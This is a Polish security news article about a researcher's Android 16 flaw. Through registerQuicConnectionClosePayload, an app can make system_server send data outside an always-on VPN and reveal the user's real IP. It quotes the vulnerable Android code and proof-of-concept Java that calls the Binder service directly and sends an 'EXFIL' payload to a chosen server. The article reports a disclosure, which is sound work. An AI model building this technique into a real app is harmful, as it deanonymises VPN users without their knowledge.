NIS2/KSC2 starter pack. Czy Twoja firma podlega pod regulację i co z tego wynika? Bezpłatne szkolenie od sekuraka
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
NIS2/KSC2 starter pack. Czy Twoja firma podlega pod regulację i co z tego wynika? Bezpłatne szkolenie od sekuraka
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Badacz bezpieczeństwa o pseudonimie Yusu (lowlevel.fun) odkrył sposób, dzięki któremu zwykła aplikacja w systemie Android 16 może ominąć włączony VPN, ujawniając prawdziwy adres IP użytkownika.
Sposób ten działa nawet wtedy, gdy włączone są opcje “Always-On VPN” oraz “Block connections without VPN”. Te dwa ustawienia mają zapewniać, że ruch z aplikacji na urządzeniu nie będzie odbywał się poza tunelem – i jak się okazało nie gwarantowały tego w pełni.
Wystarczy, że użytkownik ma na swoim urządzeniu złośliwą aplikację, która wykorzysta wspomnianą metodę do ujawnienia prawdziwego adresu IP ofiary korzystającej z VPN. Sposób polega na przekazaniu przez (złośliwą) aplikację danych do system_server (procesu, który nie podlega ograniczeniom routingu VPN), a następnie zakończeniu działania. I to system_server otwiera gniazdo UDP i przesyła dane do docelowego serwera – dzięki temu serwer przyjmujący żądanie otrzymuje je z publicznego adresu IP użytkownika. Filtry odpowiedzialne za opcję “Block connections without VPN” nie biorą pod uwagę procesów systemowych, a jedynie same aplikacje.
Do wykonania takiego żądania wystarczyło, żeby aplikacja posiadała podstawowe uprawnienia INTERNET i ACCESS_NETWORK_STATE.
Badacz zademonstrował całość na smartfonie Google Pixel 8 z Androidem 16 i włączonym Proton VPN wraz z trybem lockdown Androida. Przygotowana do jego testów aplikacja ujawniała publiczny adres IP urządzenia zdalnemu serwerowi, mimo włączonego VPN.
Badacz zgłosił problem zespołowi bezpieczeństwa Androida, który sklasyfikował go jako “Won’t Fix” oraz NSBC (Not Security Bulletin Class), stwierdzając że nie spełnia on kryteriów podatności. Badacz odwołał się od tej decyzji, argumentując że potencjalnie każda aplikacja może ujawniać adres IP użytkownika bez jego wiedzy, jednak Google utrzymało swoje stanowisko, autoryzując public disclosure 29 kwietnia.
Metoda Bindera w ConnectivityManager, registerQuicConnectionClosePayload, akceptuje dowolny bufor bajtów i socket UDP od każdej aplikacji z uprawnieniami INTERNET i ACCESS_NETWORK_STATE (oba przyznawane automatycznie).
W Android 16 dodano funkcję graceful QUIC teardown. Powód był sensowny – QUIC działa w oparciu UDP, więc gdy gniazdo aplikacji zostaje zabite (przez użytkownika lub OOM killer), docelowy serwer może pozostać z otwartym połączeniem aż do timeoutu. System pozwala więc aplikacjom wcześniej zarejestrować CONNECTION_CLOSE, które zostanie wysłane w jej imieniu, gdy socket zniknie.
| @Overridepublic void registerQuicConnectionClosePayload(final ParcelFileDescriptor pfd, final byte[] payload) { if (!mCloseQuicConnection) { // feature flag only IoUtils.closeQuietly(pfd); return; } // NO @Override public void registerQuicConnectionClosePayload(final ParcelFileDescriptor pfd, final byte[] payload) { if (!mCloseQuicConnection) { // feature flag only IoUtils.closeQuietly(pfd); return; } // NO enforceCallingOrSelfPermission() // NO @EnforcePermission in AIDL // NO checkCallingPermission() mQuicConnectionCloser.registerQuicConnectionClosePayload( mDeps.getCallingUid(), pfd, payload); } |
Listing 1 – fragment ConnectivityService.java, źródło: cs.android.com (komentarze: lowlevel.fun)
Gdy warstwa netlink ostatecznie zgłosi SOCK_DESTROY, system_server otwiera nowy DatagramSocket (który omija VPN), łączy z docelowym adresem i zapisuje payload.
| public void sendQuicConnectionClosePayload(final Network network, final InetSocketAddress src, final InetSocketAddress dst, final byte[] payload) throws IOException, ErrnoException { final DatagramSocket socket = new DatagramSocket(src); network.bindSocket(socket); // physical Wi-Fi network socket.connect(dst); Os.write(socket.getFileDescriptor$(), payload, 0, payload.length); } |
Listing 2 – fragment QuicConnectionCloser.java, źródło: lowlevel.fun
System nie weryfikuje, czy payload faktycznie jest ramką QUIC CONNECTION_CLOSE. Nie sprawdza również, czy dana aplikacja powinna mieć dostęp do tej sieci poza VPN.
Badacz przygotował Proof of Concept w postaci aplikacji, która omijając VPN ujawnia adres IP urządzenia. W pliku manifest zadeklarował uprawnienia przyznawane automatycznie i nie wzbudzające podejrzeń – aplikacja po prostu chce mieć dostęp do Internetu:
| <uses-permission android:name=”android.permission.INTERNET” /> <uses-permission android:name=”android.permission.ACCESS_NETWORK_STATE” /> |
Listing 3 – manifest aplikacji PoC, źródło: lowlevel.fun
Główny plik MainActivity.java jest ograniczony do jednego ekranu: po podaniu adresu IP i portu docelowego serwera oraz kliknięciu “Send & Exit”, payload jest rejestrowany w systemie. Potem następuje zakończenie procesu, aby wywołać zarejestrowane CONNECTION_CLOSE. W efekcie urządzenie wysyła pakiet do wskazanego serwera, całkowicie pomijając VPN i ujawniając adres IP użytkownika.
| // Transaction code 94, harvested once with dexdump on // /apex/com.android.tethering/javalib/framework-connectivity.jar’s classes.dex. // AIDL emits methods alphabetically, so this is stable across upstream Android 16 builds. private static final int TXN_REGISTER = 94; // ServiceManager.getService is greylisted (UNSUPPORTED, not BLOCKED), so plain // reflection works without policy bypass. The runtime just logs a warning. Class<?> sm = Class.forName(“android.os.ServiceManager”); IBinder connectivity = (IBinder) sm.getMethod(“getService”, String.class) .invoke(null, “connectivity”); DatagramSocket s = new DatagramSocket(new InetSocketAddress(wifiIp, 0)); s.connect(InetAddress.getByName(host), port); ParcelFileDescriptor pfd = ParcelFileDescriptor.fromDatagramSocket(s); String payload = “EXFIL{src=” + srcIp.getHostAddress() + “,via=” + srcTransport + “}”; Parcel data = Parcel.obtain(); try { data.writeInterfaceToken(“android.net.IConnectivityManager”); data.writeTypedObject(pfd, 0); data.writeByteArray(payload.getBytes()); connectivity.transact(TXN_REGISTER, data, null, IBinder.FLAG_ONEWAY); } finally { data.recycle(); } finishAndRemoveTask(); System.exit(0); |
Listing 4 – główny plik aplikacji PoC, źródło: lowlevel.fun
Pełny kod aplikacji przygotowanej w ramach PoC można znaleźć w repozytorium na GitHubie.
Timeline:
Dla użytkowników oznacza to przede wszystkim, że systemowe opcje Androida związane z VPN nie były w pełni wystarczające. Nawet przy włączonych opcjach “Always-On VPN” oraz “Block connections without VPN”, potencjalna złośliwa aplikacja mogła ujawnić publiczny adres IP urządzenia. Nie oznacza to jednak, że cały ruch urządzenia omijał VPN – problem dotyczy jedynie możliwości wysłania wybranych pakietów poza tunel.
Problem został naprawiony przez twórców GrapheneOS. To skoncentrowany na prywatności i bezpieczeństwie system operacyjny oparty na Androidzie (tzw. custom ROM), rozwijany głównie dla urządzeń Google Pixel. W najnowszej wersji całkowicie wyłączono optymalizację registerQuicConnectionClosePayload, skutecznie neutralizując potencjalny wektor ataku na wspieranych urządzeniach.
Źródła:
~Tymoteusz Jóźwiak